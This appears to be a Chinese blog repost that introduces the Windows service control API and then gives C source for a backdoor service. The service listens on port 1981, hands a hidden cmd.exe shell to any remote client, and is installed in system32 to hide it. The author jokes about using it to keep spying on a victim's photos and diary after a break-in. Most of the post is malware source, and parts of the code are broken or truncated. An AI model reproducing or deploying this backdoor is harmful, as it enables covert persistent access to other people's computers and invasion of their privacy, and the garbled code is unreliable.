zoukankan      html  css  js  c++  java
  • 服务和写一个后门级服务(以前复制别人的)

    服务是一种特殊的应用程序,复合特殊接口形式要求,操作系统的很多重要功能依赖于服务。服务是一种在系统中常驻的程序,在系统启动时自动启动(先于用户登录)。服务的安装、删除、启动、停止、控制与I/O都是通过服务控制器。
        Windows系统的服务分为服务应用程序和内核驱动服务程序,服务应用程序运行于系统用户态,内核驱动服务运行于系统内核态。用户态服务程序需遵守SCM的接口规范。
        服务控制器对系统中所有服务进行管理,管理着系统中已经安装的服务程序和设备驱动程序数据库,数据库中保存的信息包括系统安装了哪些服务,每个服务包括如何启动每个服务、各个服务的安全属性已经控制接口等。服务程序、服务配置程序和服务控制程序的设计都需要使用SCM提供的函数。
        服务程序是运行服务所需要的可执行程序,SCM通过运行和中指服务程序来启动常停止服务。
        服务控制管理程序通过向SCM发送请求实现启动、停止、修改服务属性等操作。Windows系统服务管理工具SC可以实现对服务的所有控制,包括安装、删除、配置、启动、停止等。
        服务具有若干属性,包括服务名称、显示名称、服务类型、描述、可执行文件路径、启动类型、服务状态、启动参数、依存关系等。服务名称唯一标识一个服务。显示名称是在系统服务管理界面和sc.exe中显示的名称。服务类型有四种,分别是文件系统驱动服务、内核驱动服务、独立进程服务和共享进程服务,前两种运行于系统内核态,后两种运行于系统用户态,独立进程服务以独立的进程运行,共享进程服务和其他服务共享一个进程。
    
    服务程序编写
    ServiceMain 服务主函数,与main函数类似,但服务主函数名称与线程函数一样,起函数名并没有特殊要求,只是其参数接口和调用类型必须与要求一致。
    Handler 控制处理函数,用于处理SCM向服务传递的服务控制请求,与线程函数一样,
    函数名并没有特殊要求。
    StartServiceCtrlDispatcher 注册指定服务的主函数。
    RegisterServiceCtrlHandler 注册指定服务的控制处理函数。
    SetServiceStatus 向SCM报告服务的状态。
    
    服务管理
    OpenSCManger 函数简历了一个连接到服务控制管理器,并打开指定的数据库。
    CreateService 向系统创建服务,创建时指定服务的属性。
    OpenService 打开服务,获取服务句柄。
    CloseServiceHandle 关闭服务句柄。
    StartService 启动服务,并设置服务主函数的参数。
    ControlService 向服务发送控制码,并获取服务的状态。
    DeleteService 删除服务,以服务句柄为参数。
    
    管理服务状态
    QueryServiceStatus 获取服务运行状态。
    QueryServiceStatusEx 获取服务运行状态和服务进程的有关信息。
    EnumDependentServices 枚举服务的依赖项。
    
    配置服务
    QueryServiceConfig 获取指定服务的配置参数。
    QueryServiceConfig2 获取指定服务的可选配置参数。
    ChangeServiceConfig 设置指定服务的配置参数。
    ChangServiceConfig2 设置指定服务的可选配置参数。
    
    
    编程实现服务级后门
    
      一个完整的服务分为安装服务程序,主体服务程序和卸载服务程序。我们先来写服务的主体部分,示例代码如下:
    
    void main()
    {
     SERVICE_TABLE_ENTRY ServiceTable[] = 
     {
      {"scuhkr", BDServiceMain},
      {NULL, NULL} //"哨兵"
     };
     //连接到服务控制管理器
     StartServiceCtrlDispatcher(ServiceTable);
    }
    
     路人甲:什么,就这么短?你想侮辱广大鸟儿的智慧?呵呵,先别急,听我慢慢道来:上面代码中,我们先给出了一个SERVICE_TABLE_ENTRY结构数组,每个成员描述了调用进程提供的服务,这里我们只安装了一个服务名为Scuhkr的服务,后面的BDServiceMain()我们称之为服务主函数,通过回调该函数提供了服务入口地址,它原形的参数必须定义成如下形式:
    VOID WINAPI BDServiceMain(
      DWORD dwArgc,  //lpszArgv参数个数
      LPTSTR* lpszArgv //该数组第一个的参数指定了服务名,可以在后面被
                          StartService()来调用
    );
    SERVICE_TABLE_ENTRY结构数组要求最后一个成员组都为NULL,我们称之为“哨兵”(所有值都为NULL),表示该服务表末尾。一个服务启动后,马上调用StartServiceCtrlDispatcher()通知服务控制程序服务正在执行,并提供服务函数的地址。StartServiceCtrlDispatcher()只需要一个至少有两SERVICE_TABLE_ENTRY结构的数组,它为每个服务启动一个线程,一直等到它们结束才返回。
     本程序只提供了一个服务函数BDServiceMain(),下面我们来下完成这个函数的功能,示例代码如下:
    
    void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
    {
     DWORD dwThreadId;  //存放线程ID
     
    //通过RegisterServiceCtrlHandler()与服务控制程序建立一个通信的协议。
    //BDHandler()是我们的服务控制程序,它被可以被用来开始,暂停,恢复,停止服务等控制操作
     if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr",
                         BDHandler))) 
      return;
    
    //表示该服务私有
     ServiceStatus.dwServiceType  = SERVICE_WIN32_OWN_PROCESS;
    //初始化服务,正在开始
     ServiceStatus.dwCurrentState  = SERVICE_START_PENDING; //
    //服务可以接受的请求,这里我们只接受停止服务请求和暂停恢复请求
     ServiceStatus.dwControlsAccepted  = SERVICE_ACCEPT_STOP
                          | SERVICE_ACCEPT_PAUSE_CONTINUE;
    //下面几个一般我们不大关心,全为0
     ServiceStatus.dwServiceSpecificExitCode = 0;
     ServiceStatus.dwWin32ExitCode        = 0;
     ServiceStatus.dwCheckPoint            = 0;
     ServiceStatus.dwWaitHint              = 0;
    //必须调用SetServiceStatus()来响应服务控制程序的每次请求通知
     SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
    
    //开始运行服务
     ServiceStatus.dwCurrentState = SERVICE_RUNNING;
     ServiceStatus.dwCheckPoint   = 0;
     ServiceStatus.dwWaitHint     = 0;
    
     SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
    //我们用一个事件对象来控制服务的同步
     if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL)))
      return;
    
     ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
     ServiceStatus.dwCheckPoint   = 0;
     ServiceStatus.dwWaitHint     = 0;
    
     SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
    //开线程来启动我们的后门程序
     if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0, &dwThreadId)))
     
    
     ServiceStatus.dwCurrentState = SERVICE_RUNNING;
     ServiceStatus.dwCheckPoint   = 0;
     ServiceStatus.dwWaitHint     = 0;
    
     WaitForSingleObject(hEvent, INFINITE);
    
     CloseHandle(hThread);
     ExitThread(dwThreadId);
     CloseHandle(hEvent);
    
     return;
    }
    
      上面我们调用了一个服务控制函数BDHandler(),由于只是简单的介绍,我们这里只处理服务停止控制请求的情况,其它暂停、恢复等功能,读者可以自己完善。下面是对BDHandler()的实现代码:
    void WINAPI BDHandler(DWORD dwControl)
    {
     switch(dwControl)
     {
     case SERVICE_CONTROL_STOP:
    //等待后门程序的停止
      ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
      ServiceStatus.dwCheckPoint   = 0;
      ServiceStatus.dwWaitHint     = 0;
      
      SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
    //设时间为激发状态,等待下一个事件的到来
      SetEvent(hEvent);
      
      ServiceStatus.dwCurrentState = SERVICE_STOP;
      ServiceStatus.dwCheckPoint   = 0;
      ServiceStatus.dwWaitHint     = 0;
    //停止
      SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
      break;
     
     default:
      break;
     }
    }
    
      服务控制函数搞定了,下面就剩下主体的后门函数了。本程序借用了N多前辈翻写过了无数次的后门程序,通过开一个端口监听,允许任何与该端口连接的远程主机建立信任连接,并提供一个交互式Shell。为了代码清晰,我去掉了错误检查,整个过程很简单,也就不多解释了,黑防上都有N期介绍了,代码如下:
    DWORD WINAPI MainFn(LPVOID lpParam)
    {
     WSADATA WSAData;
     struct sockaddr_in RemoteAddr;
     DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
     PROCESS_INFORMATION processinfo;
     STARTUPINFO startinfo;
     
     WSAStartup(MAKEWORD(2,2),&WSAData);
     ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
     RemoteAddr.sin_family = AF_INET;
     RemoteAddr.sin_port = htons(1981);  //监听端口
     RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
     
     bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
     listen(ServerSocket, 2);
     
     varA = 0;
     varB = 0;
     CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
     CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
     
     dowhile((varA || varB) == 0);
     
     GetStartupInfo(&startinfo);
     startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
     startinfo.hStdInput = hReadPipe;
     startinfo.hStdError = hWritePipe;
     startinfo.hStdOutput = hWritePipe;
     startinfo.wShowWindow = SW_HIDE; //隐藏控制台窗口
    
     char szAPP[256];
     GetSystemDirectory(szAPP,MAX_PATH+1);
     
      strcat(szAPP,"\cmd.exe");
    //开cmd进程
      if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, 
       NULL, NULL, &startinfo, &processinfo) == 0)
      {
       printf ("CreateProcess Error!
    ");
       return -1;
      }
     
     while (true) 
     {
      ClientSocket = accept(ServerSocket, NULL, NULL);
      Sleep(250);
     }
    
     return 0;
    }
    
    //线程函数A, 通过管道A来从控制端接受输入,然后写入被控制端输入端
    DWORD WINAPI ThreadFuncA( LPVOID lpParam )
    {
     SECURITY_ATTRIBUTES pipeattr;
     DWORD nByteToWrite, nByteWritten;
     char recv_buff[1024];
     
     pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
     pipeattr.lpSecurityDescriptor = NULL;
     pipeattr.bInheritHandle = TRUE;
     CreatePipe(&hReadPipe,
      &hWriteFile,
      &pipeattr,
      0);
     
     varA = 1;
     while(true)
     {
      Sleep(250);
      nByteToWrite = recv(ClientSocket,
       recv_buff,
       1024,
       0);
      printf("%s
    ", recv_buff);
      WriteFile(hWriteFile,
       recv_buff,
       nByteToWrite,
       &nByteWritten,
       NULL);
     }
     return 0;
    }
    
    //线程函数B, 通过管道B来从被控制端接受输入,然后写到控制端输出端
    DWORD WINAPI ThreadFuncB( LPVOID lpParam )
    {
     SECURITY_ATTRIBUTES pipeattr;
     DWORD len;
     char send_buff[25000];
     
     pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
     pipeattr.lpSecurityDescriptor = NULL;
     pipeattr.bInheritHandle = TRUE;
     
     CreatePipe(&hReadFile,
      &hWritePipe,
      &pipeattr,
      0);
     
     varB = 1;
     while (true)
     
     return 0;
    }
    
      在我们成功入侵目标MM主机后,看了MM的照片,读了MM的日记……此处省略恶行30条。在拍屁股走人之前,怎么也要留个后门,方便下次继续看新的照片,继续读MM的小秘密(呵呵,大家不要误会,我从来不干这种事D)。那后门怎么留?我们上面写的都是主体部分,还没安装呢。安装服务的部分其实很简单,示例代码如下:
    // InstallService.cpp
    void main()
    {
    SC_HANDLE hSCManager = NULL,  //服务控制管理器句柄
     hService = NULL;     //服务句柄
     char szSysPath[MAX_PATH]=, 
    szExePath[MAX_PATH]=;   //我们要把我们后台执行的程序放在这里,一般就是在\admin$\system32里,隐蔽性高
    
     if ((hSCManager = OpenSCManager(NULL,  //NULL表明是本地主机 
    NULL, // 要打开的服务控制管理数据库,默认为空
    SC_MANAGER_CREATE_SERVICE//创建权限
    ))==NULL)
     {
      pirntf("OpenSCManager failed
    ");
      return;
     }
     
     GetSystemDirectory(szSysPath, MAX_PATH); //获得系统目录,也就是system32里面,隐蔽起来
     strcpy(szExePath, szSysPath);
     strcat(szExePath, "scuhkr.exe");  //应用程序绝对路径
    
     if ((hService=CreateService(hSCManager,  //指向服务控制管理数据库的句柄
            "scuhkr",    //服务名
            "scuhkr backdoor service", //显示用的服务名
            SERVICE_ALL_ACCESS, //所有访问权限
            SERVICE_WIN32_OWN_PROCESS, //私有类型
            SERVICE_DEMAND_START, //自启动类型        SERVICE_ERROR_IGNORE, //忽略错误处理
            szExePath,  //应用程序路径
            NULL, 
            NULL, 
            NULL,
            NULL,
            NULL)) == NULL)
     {
      printf("%d
    ", GetLastError());
       return;
     }
    
    //让服务马上运行。万一是个服务器,10天半个月不重启,岂不是没搞头?
     if(StartService(hService, 0, NULL) == FALSE)
     { 
      printf("StartService failed: %d
    ", GetLastError());
      return;
     }
     printf(“Install service successfully
     ”);
     CloseServiceHandle(hService);  //关闭服务句柄
     CloseServiceHandle(hSCManager); //关闭服务管理数据库句柄
    }
  • 相关阅读:
    Linux shell 脚本中变量的数学计算【转】
    Ubuntu上配置Eclipse:安装CDT【转】
    第一个Java程序示例——Hello World!【转】
    Cmake的介绍和使用 Cmake实践【转】
    CMake使用总结【转】
    Ubuntu 16.04安装JDK/JRE并配置环境变量【转】
    Linux进程间通信——使用信号量【转】
    wpa_supplicant介绍【转】
    【转】Android屏幕适配全攻略(最权威的官方适配指导)
    SQL2005备份数据库到远程服务器中
  • 原文地址:https://www.cnblogs.com/IMyLife/p/4826027.html
Copyright © 2011-2022 走看看